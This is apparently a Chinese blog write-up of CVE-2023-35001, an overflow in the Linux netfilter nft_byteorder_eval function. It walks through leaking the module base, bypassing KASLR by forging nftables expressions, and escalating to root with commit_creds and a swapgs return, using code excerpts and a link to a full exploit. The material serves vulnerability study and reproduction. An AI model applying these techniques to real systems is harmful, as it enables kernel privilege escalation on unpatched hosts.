本文首发于合天网安
前言
Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因
在netfilter
中存在这nft_byteorder_eval
函数,该函数的作用是将寄存器中的数据以主机序或网络序存储。具体代码如下,若采用的操作是NFT_BYTEORDER_NTOH
则是将数据从主机序转化为网络序,而NFT_BYTEORDER_HTON
则是从网络序转换为主机序。具体转换多少个字节则是用priv->size
指定的,在该操作下可以转换二、四、八字节。该漏洞也是由于在对两字节数据进行大小端序转存时出现了错误所导致的。
可以看到代码【1】中使用了联合体存储了源地址和目的地址,联合体的变量分别是u32
与u16
分别代表的是四字节与两字节的空间大小。然后在代码【2】与【3】处源地址是直接取出u16
的变量存储到目的地址的u16
变量中。
乍一看似乎很符合常理,因为在处理双字节的时候,联合体中的变量就以u16
存储,若处理四字节就转化为u32
存储,但是这里存在个问题,在C语言中,联合体的存储空间是以最大空间为标准,换句话说无论联合体取出的变量是u16
还是u32
,联合体的大小都是占用四个字节的,而不会出现双字节的情况,因此在对s
与d
两个联合体进行遍历时,会以四字节为单位找到下一个位置。但是在计算长度时是以双字节进行计算的,因此就会导致拷贝时发生溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| File: linux-5.19\net\netfilter\nft_byteorder.c 26: void nft_byteorder_eval(const struct nft_expr *expr, 27: struct nft_regs *regs, 28: const struct nft_pktinfo *pkt) 29: { ... 33: 【1】union { u32 u32; u16 u16; } *s, *d; ... 39: switch (priv->size) { ... 72: case 2: 73: switch (priv->op) { 74: case NFT_BYTEORDER_NTOH: 75: for (i = 0; i < priv->len / 2; i++) 76: 【2】d[i].u16 = ntohs((__force __be16)s[i].u16); 77: break; 78: case NFT_BYTEORDER_HTON: 79: for (i = 0; i < priv->len / 2; i++) 80: 【3】d[i].u16 = (__force __u16)htons(s[i].u16); 81: break; 82: } 83: break; 84: } 85: }
|
举个例子,我们自定义一个联合体数组dest
,分别向下标0、1以及2进行赋值。
1 2 3 4 5 6 7 8 9
| union {short a;long b;} dst[10]; int main() { dst[0].a = 0x1122; dst[1].a = 0x3344; dst[2].a = 0x5566; return 0; }
|
按照设想的情况,在使用双字节变量进行遍历的时候会以双字节为单位进行遍历,但是实际的情况如下图。可以发现即使每次赋值都是对双字节的变量进行赋值,但是再遍历的时候还是按照联合体中最大的存储空间(四字节)进行遍历的。
因此漏洞的成因如下,因此在使用nft_byteorder
函数转换双字节的大小端序时溢出。
模块地址泄露
在nft_byteorder_eval
函数内部,溢出的地址是在寄存器下方。因此可以通过控制寄存器的下标值选择需要泄露的地址。
在此需要观察通过nft_byteorder_eval
函数可以溢出的范围,priv->len
是可以人为控制的,只要满足reg * 4 + priv->len <= 0x50
即可,reg
代表寄存器的下标值,由于下标为0-4是属于状态值,因此不能通用,我们的reg
的值需要从4
开始计算起, 那0x50 - 0x10 = 0x40
就是我们priv->len
能设置最大的值,(0x40 / 2) * 4 = 0x80
,因此(0xaf8 ~ 0xaf8 + 0x80)
范围内都是可以访问到的。但是现在存在一个问题,虽然我们可以越界访问,但是每次只能获取四字节中的低两个字节。
1 2 3 4
| ... 75: for (i = 0; i < priv->len / 2; i++) 76: 【2】d[i].u16 = ntohs((__force __be16)s[i].u16); ...
|
将下列值传参给nft_byteorder_eval
函数
1 2 3 4 5 6 7 8
|
rule_add_byteorder(r, 18, 8, NFT_BYTEORDER_HTON, 24, 2);
|
泄露的值如下,可以发现高两个字节的值是无法泄露的,因为在nft_byteorder_eval
中,每次只拷贝了u16
的变量。因此每次泄露只能获取低两字节的值。因此需要寻找其他方法进行地址的泄露。
nf_trace_fill_rule_info
函数用于跟踪数据包,并且会将rule->handle
的值放进数据包中回传给用户。
想要正常执行nf_trace_fill_rule_info
函数需要绕过条件
rule
不能为空,并且rule->is_last
需要为0,即当前rule
不是最后一个
info->type
不能是NFT_TRACETYPE_RETURN
以及info->verdict->code
不能NFT_CONTINUE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
File: linux-5.19\net\netfilter\nf_tables_trace.c 126: static int nf_trace_fill_rule_info(struct sk_buff *nlskb, 127: const struct nft_traceinfo *info) 128: { 129: if (!info->rule || info->rule->is_last) 130: return 0; 131: 132:
137: if (info->type == NFT_TRACETYPE_RETURN && 138: info->verdict->code == NFT_CONTINUE) 139: return 0; 140: 141: return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE, 142: cpu_to_be64(info->rule->handle), 143: NFTA_TRACE_PAD); 144: }
|
因此想要通过nf_trace_fill_rule_info
函数获取数据的第一步是伪造rule
。
在regs
变量的下方存在jumpstack
变量
结构体nft_jumpstack
的构成如下,由chain
、rule
、last_rule
组成,并且该结构体变量在regs
下方,并且通过byteorder
操作可以访问到jumpstack
结构体,那么利用byteorder
操作篡改rule
。
1 2 3 4 5
| struct nft_jumpstack { const struct nft_chain *chain; const struct nft_rule_dp *rule; const struct nft_rule_dp *last_rule; };
|
接下来看一下nft_rule_dp
结构体,可以发现is_last
是调用nf_trace_fill_rule_info
函数的条件,handle
是泄露的值。
1 2 3 4 5 6 7
| struct nft_rule_dp { u64 is_last:1, dlen:12, handle:42; unsigned char data[] __attribute__((aligned(__alignof__(struct nft_expr)))); };
|
在进入nf_trace_fill_rule_info
函数内部前需要经历规则与表达式的遍历。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| File: linux-5.19\net\netfilter\nf_tables_core.c 255: for (; rule < last_rule; rule = nft_rule_next(rule)) { 256: nft_rule_dp_for_each_expr(expr, last, rule) { 257: if (expr->ops == &nft_cmp_fast_ops) 258: nft_cmp_fast_eval(expr, ®s); 259: else if (expr->ops == &nft_cmp16_fast_ops) 260: nft_cmp16_fast_eval(expr, ®s); 261: else if (expr->ops == &nft_bitwise_fast_ops) 262: nft_bitwise_fast_eval(expr, ®s); 263: else if (expr->ops != &nft_payload_fast_ops || 264: !nft_payload_fast_eval(expr, ®s, pkt)) 265: expr_call_ops_eval(expr, ®s, pkt); 266: 267: if (regs.verdict.code != NFT_CONTINUE) 268: break; 269: } 270: 271: switch (regs.verdict.code) { 272: case NFT_BREAK: 273: regs.verdict.code = NFT_CONTINUE; 274: nft_trace_copy_nftrace(&info); 275: continue; 276: case NFT_CONTINUE: 277: nft_trace_packet(&info, chain, rule, 278: NFT_TRACETYPE_RULE); 279: continue; 280: } 281: break; 282:
|
遍历规则的宏定义如下,若是rule->dlen
没有进行改写,那么会根据rule->dlen
找到下一个rule
,但是当前的rule
是伪造的,因此会导致在取出expr
会报错。倘若将rule->dlen
修改为0,则下个rule
的位置就是当前rule + 8
。
由于不定长数组unsigned char data[]
,在sizeof
操作中的值为0,因此sizeof(*rule)
的值为8。此时将last_rule
改写成rule + 8
就可以直接跳出循环。
1
| #define nft_rule_next(rule) (void *)rule + sizeof(*rule) + rule->dlen
|
在完场上述流程后,就可以顺利进入nft_trace_packet
函数内部,nft_trace_packet
函数也比较简单,实际是调用了__nft_trace_packet
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| File: linux-5.19\net\netfilter\nf_tables_core.c 37: static inline void nft_trace_packet(struct nft_traceinfo *info, 38: const struct nft_chain *chain, 39: const struct nft_rule_dp *rule, 40: enum nft_trace_types type) 41: { 42: if (static_branch_unlikely(&nft_trace_enabled)) { 43: const struct nft_pktinfo *pkt = info->pkt; 44: 45: info->nf_trace = pkt->skb->nf_trace; 46: info->rule = rule; 47: __nft_trace_packet(info, chain, type); 48: } 49: }
|
可以发现想要进入nft_trace_notify
函数需要满足info->trace
或info->trace
不为空。
1 2 3 4 5 6 7 8 9 10 11 12 13
| File: linux-5.19\net\netfilter\nf_tables_core.c 24: static noinline void __nft_trace_packet(struct nft_traceinfo *info, 25: const struct nft_chain *chain, 26: enum nft_trace_types type) 27: { 28: if (!info->trace || !info->nf_trace) 29: return; 30: 31: info->chain = chain; 32: info->type = type; 33: 34: nft_trace_notify(info); 35: }
|
使用meta
表达式可以设置skb->nf_trace
,将skb->nf_trace
设置为非空就可以进入到nft_trace_notify
函数。
1 2 3 4 5 6 7 8
| File: linux-5.19\net\netfilter\nft_meta.c ... 443: case NFT_META_NFTRACE: 444: value8 = nft_reg_load8(sreg); 445: 446: skb->nf_trace = !!value8; 447: break; ...
|
在nft_trace_notify
函数内部,还会判断是否订阅NFNLGRP_NFTRACE
。没订阅则无法继续执行。
1 2 3 4 5
| File: linux-5.19\net\netfilter\nf_tables_trace.c ... 176: if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE)) 177: return; ...
|
在libnml
库中使用mnl_socket_setsockopt
函数进行netlink
的组订阅,由于在使用宏NFNLGRP_NFTRACE
编译时会提示找不到该值,因此这里使用实际值代替了。
1 2 3 4 5 6
| static int group = 9; if (mnl_socket_setsockopt(nleak, NETLINK_ADD_MEMBERSHIP, &group, sizeof(int)) < 0) { perror("mnl_socket_setsockopt"); exit(EXIT_FAILURE); }
|
接下来就需要具体如何伪造rule
,通过byteorder
操作可以首先可以将原先的chain
、rule
以及last_rule
的地址泄露,但是只能泄露四字节。
由于我们需要找到符合上述条件的rule
,并且我们只有rule
的最低两个字节,因此搜索范围不大,因此需要在泄露的rule_low
附近寻找一个合适的模块地址。在存储泄露的rule
之前存储利用immediate
以及meta_set
操作,我们选择其中一个进行泄露即可。
伪造的方式也比较简单,由于is_last
与dlen
都需要设置为0,因此我们只需要找到两个字节为0的值,作为伪造的rule
即可,伪造的rule
如下。
修改后的结果如下
由于handle
实际是占用42比特,但是有3个比特被设置为0了,因此实际泄露的值只有39比特,但是由于模块地址的高4个字节都是固定的0xffffffff
,因此不影响模块地址的泄露。通过从数据包中提取数据得到handle
的值为后,简单移位操作就可以还原。
1
| module = ((leak << 13) >> 16);
|
最后泄露模块基地址成功。
ASLR绕过
在前面说过,可以利用byteorder
操作加上netlink
组订阅可以泄露rule
中的handle
字段。该方法应该是可以用来泄露kernel
基地址的,但是作者还提出另一种方法进行泄露。应该是为了提权利用做铺垫。
由于前面已经泄露的模块的基地址,因此可以利用模块地址伪造表达式。
作者找到了range
表达式,用于伪造其余表达式。总大小为0x23
。并且表达式是八字节对齐的,因此该结构体会占用0x28
字节。
1 2 3 4 5 6 7
| struct nft_range_expr { struct nft_data data_from; struct nft_data data_to; u8 sreg; u8 len; enum nft_range_ops op:8; };
|
具体的布局如下
可以看到data_from
与data_to
都是从用户态中传递过去的数据,因此我们可以在这些区域内伪造表达式,这有点像在CTF
中,我们泄露了堆块基址后,随意伪造堆块。
由于我们有0x28
字节的空间,但是实际能够操作的空间是data_from
与data_to
两段,即0x20
的空间大小。因此我们需要挑选小于0x20
的规则表达式进行伪造,并且能够执行泄露功能的。
这里作者选用了byteorder
表达式,可以看到该表达式在对齐后只占用八字节。
1 2 3 4 5 6 7
| struct nft_byteorder { u8 sreg; u8 dreg; enum nft_byteorder_ops op:8; u8 len; u8 size; };
|
构造后,可以发现还有八字节的data_to
没有用,但是并不能直接丢弃不适用,因为在调用完byteorder
操作后还需要继续执行其他规则表达式。
但是其他表达式都是需要大于0x8
的,毕竟一个操作指针就占用八字节了,此时作者选用了meta
表达式。可以看到meta
表达式也只用到了三个字节,刚好对应range
表达式的sreg
、len
以及op
。
1 2 3 4 5 6 7 8
| struct nft_meta { enum nft_meta_keys key:8; u8 len; union { u8 dreg; u8 sreg; }; };
|
meta
表达式的操作如下,在meta
表达式中meta->key
执行具体的操作,如[1],但是若该值是非法值则会执行[2],可以看到该meta
表达式仅会抛出异常,但是不会终止运行,这就说明即使meta->key
是非法值也不会影响后续规则表达式的正常执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| File: linux-5.19\net\netfilter\nft_meta.c 418: void nft_meta_set_eval(const struct nft_expr *expr, 419: struct nft_regs *regs, 420: const struct nft_pktinfo *pkt) 421: { 422: const struct nft_meta *meta = nft_expr_priv(expr); 423: struct sk_buff *skb = pkt->skb; 424: u32 *sreg = ®s->data[meta->sreg]; 425: u32 value = *sreg; 426: u8 value8; 427: 428: switch (meta->key) { ----> [1] 429: case NFT_META_MARK: 430: skb->mark = value; 431: break; 432: case NFT_META_PRIORITY: 433: skb->priority = value; 434: break; 435: case NFT_META_PKTTYPE: 436: value8 = nft_reg_load8(sreg); 437: 438: if (skb->pkt_type != value8 && 439: skb_pkt_type_ok(value8) && 440: skb_pkt_type_ok(skb->pkt_type)) 441: skb->pkt_type = value8; 442: break; 443: case NFT_META_NFTRACE: 444: value8 = nft_reg_load8(sreg); 445: 446: skb->nf_trace = !!value8; 447: break; 448: #ifdef CONFIG_NETWORK_SECMARK 449: case NFT_META_SECMARK: 450: skb->secmark = value; 451: break; 452: #endif 453: default: 454: WARN_ON(1); ---->[2] 455: } 456: }
|
因此第二个伪造的表达式也找到了,就是meta
表达式。由于我们直接伪造了规则表达式,因此不会进行寄存器参数的校验,只要选择内核地址选择泄露即可。
这里简单说一下伪造的规则头,此时的len
需要设置为0x20以及islast
需要设置为0。
最后泄露的效果如下,即使内核已经抛出了异常,但是不会影响后续表达式的正常执行。
提权利用
既然可以随意伪造表达式,因此我们可以伪造payload
表达式。
1 2 3 4 5 6
| struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; };
|
在regs
下方存在着nft_do_chain
函数返回地址,因此可以直接通过payload
表达式将提权payload
注入进来。
由于我们可以伪造payload
表达式,因此注入的payload
长度不受限,因此采用
commit_creds(prepare_kernel_cred(0))
,构造root
凭证
- 接着利用
find_task_by_vpid
、init_nsproxy
以及switch_task_namespaces
切换命名空间。
- 最后利用蹦床
swapgs_restore_regs_and_retrun_to_usermode
返回到用户空间完成提权利用。
总结
总结一下模块基地址的泄露流程
- 构造基础链
- 设置
NFT_JUMP
表达式
- 通过
meta
设置为NFT_META_NFTRACE
- 泄露链
byteorder
表达式触发漏洞,第一次读chain
、rule
以及last_rule
,第二次改写为chain
,fake rule
以及fake last_rule
dynset
表达式泄露chain
、rule
、last_rule
- 订阅
NFNLGRP_NFTRACE
组,接收数据包
原版exp使用go
语言写的,我使用c语言重写了一版。
完整exp
:https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)(c语言)
参考链接
https://github.com/Synacktiv/CVE-2023-35001
https://www.synacktiv.com/publications/old-bug-shallow-bug-exploiting-ubuntu-at-pwn2own-vancouver-2023